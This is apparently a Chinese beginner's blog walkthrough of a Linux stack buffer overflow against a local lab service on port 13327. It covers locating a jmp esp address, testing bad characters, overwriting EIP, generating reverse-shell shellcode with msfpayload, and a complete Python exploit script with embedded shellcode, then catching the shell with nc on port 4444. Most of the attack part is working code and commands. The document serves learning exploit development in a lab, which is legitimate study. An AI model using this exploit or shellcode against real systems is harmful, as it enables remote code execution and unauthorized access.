#因为ESP的内存地址也不是固定的,所以需在系统中寻找固定跳转模块


寻址

利用edb中的插件Opcode search


使用第一个进程08048000,只要程序在运行,这个进程将一直存在,可以用于寻找jmp esp


###EIP->jmp ESP->ESP->EAX


查找坏字符

###\x00\x0a\x0d\x20

将256个编码放进脚本中逐一查找

设置断点(0x08134597)

EIP——08134597

则EIP跳转地址为

crash = "\x41" * 4368 + "\x97\x45\x13\x08"【EIP】 + "\x83\xc0\x0c\xff\xe0\x90\x90"【EAX】

04+.py


设置断点


->运行[F9]


按F8执行下一步


再按F8就跳入ESP寄存器

将4368个字符中,替换成shellcode,剩余位继续填充”A“【需计算shellcode字符数量】

生成shellcode姿势

root@kali:/usr/share/framework2# ./msfpayload linux_ia32_reverse LHOST=127.0.0.1 LPORT=4444 R | ./msfencode -b "\x00\x0a\x0d\x20"

注:在生成shellcode时,如果生成的shellcode不正确,可通过重启,解决

#!/usr/bin/python

import socket

host = "127.0.0.1"

shellcode = (
"\xbb\x6d\x65\x9b\xcd\xdb\xdd\xd9\x74\x24\xf4\x5f\x2b\xc9"+
"\xb1\x14\x83\xc7\x04\x31\x5f\x10\x03\x5f\x10\x8f\x90\xaa"+
"\x16\xb8\xb8\x9e\xeb\x15\x55\x23\x65\x78\x19\x45\xb8\xfa"+
"\x01\xd4\x10\x92\xb7\xe8\x85\x3e\xd2\xf8\xf4\xee\xab\x18"+
"\x9c\x68\xf4\x17\xe1\xfd\x45\xac\x51\xf9\xf5\xca\x58\x81"+
"\xb5\xa2\x05\x4c\xb9\x50\x90\x24\x85\x0e\xee\x38\xb0\xd7"+
"\x08\x50\x6c\x07\x9a\xc8\x1a\x78\x3e\x61\xb5\x0f\x5d\x21"+
"\x1a\x99\x43\x71\x97\x54\x03")

crash = shellcode + "A"*(4368-105) + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90"
buffer = "\x11(setup sound " +crash+ "\x90\x90#)"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"

#打开侦听4444端口【当有人连接4444的时候,则getshell】

nc  127.0.0.1 4444 ###获得shell




小白日记,未完待续……

没有更多推荐了,返回首页